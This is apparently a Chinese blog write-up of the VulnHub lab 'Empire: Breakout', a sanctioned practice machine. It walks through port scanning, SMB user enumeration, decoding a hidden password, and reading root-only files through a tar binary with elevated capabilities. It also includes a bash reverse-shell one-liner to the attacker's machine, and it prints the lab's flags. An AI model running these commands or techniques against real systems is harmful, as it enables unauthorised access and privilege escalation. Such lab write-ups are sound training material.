> 文章列表 > Vulnhub项目:Breakout

Vulnhub项目:Breakout

Vulnhub项目:Breakout

靶机地址:Empire: Breakout ~ VulnHub

渗透过程:

查询kali ip:192.168.56.104,靶机ip:192.168.56.131

探测靶机开放端口,利用nmap

靶机开放了80、139、445、10000、20000端口,先对80端口进行访问,发现了apache2Debian的页面,没什么其他信息。

 访问10000端口和20000端口,一开始报错,需要改用https访问,发现两个登录框

 

 再没有什么其他信息了,返回80端口,如果没有其他信息了,可以查看源码,看看是否存在一些被忽视的细节,发现了一串串符号,以前在打ctf时遇到过这样类似的,是一种加密方式,叫Brianfuck

 在线找个解密的工具,将其复制进来解密

得到这样一串东西,也不知道是个什么鬼,现在陷入了僵局,有139和445端口,说明存在smb服务,两个登录框,和一个不知道什么鬼的字符串,不知道用户名,这个时候可以利用enum4linux进行枚举。

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息。

.2uqPEfj3D<P'a-3

 枚举出来了一个用户cyber,有用户,尝试利用那个鬼字符串做密码,两个登录框进行尝试,发现登录了20000的登录框。进入了一个系统。

下一步就是要getshell了,在这个系统中,搜寻一圈,发现了,它有命令环境。点击进入后

发现 存在tar二进制文件和user.txt文件,查看user,发现了flag

 

 

 3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

原本想看看存不存在sudo提权,发现没有sudo命令,漂亮!,那就看看这个tar为啥会出现在这,压缩文件命令一般系统自带,为啥会出现在这,看一下它的权限,好嘛,不错!

利用getcap再查看一下,这里cap是Capabilities,它主要的作用就是分割root的特权,将root的特权分割成不同的能力,每种能力代表一定的特权操作,这边检查出来的意思是:

cap_dac_read_search是忽略文件读及目录搜索的DAC访问限制,具体的后面说,ep是:

cap_effective(e)、cap_permitted(p)两种方式授权给相关的程序文件,这里是授权给tar

cap_effective:当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0.

cap_permitted:表示进程能够使用的能力,在cap_permitted中可以包含cap_effective中没有的能力,这些能力是被进程自己临时放弃的,也可以说cap_effective是cap_permitted的一个子集.

 

进入var/backups,本来想看看有没有什么备份文件之类的,发现什么都没有,猜测应该是被隐藏了,使用ls -la即可查看隐藏文件,发现了.old_pass.bak,它的权限很少,只有root可以读,这里就得用到刚才废了半天劲检查的那个二进制文件tar了,利用tar的特权,将整个文件打包,然后再用linux自带的tar将其解压,这样,该文件就会拥有那个二进制文件tar的特权,就可以以普通用户身份进行查看了。

 

 

 

查看后得到了一个密码,本来想用su之间提权的,发现了授权失败的情况

 

 

可能是这个命令环境有些问题,那就反弹给本地一个shell吧,利用hack-tools插件,随便选一个简单的bash命令执行

 

 bash -i >& /dev/tcp/kali IP/port 0>&1

本地kali先开启监听,再执行bash命令,即可反弹回shell

然后再利用su提权,切换root用户,获取第二个flag!

 3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

总结:

        本次靶机难度为简单,其中还是涉及到了一些新的知识,例如enum4linux工具和cap等知识,还是值得好好去学习的,总体不难,需要灵活的去看待。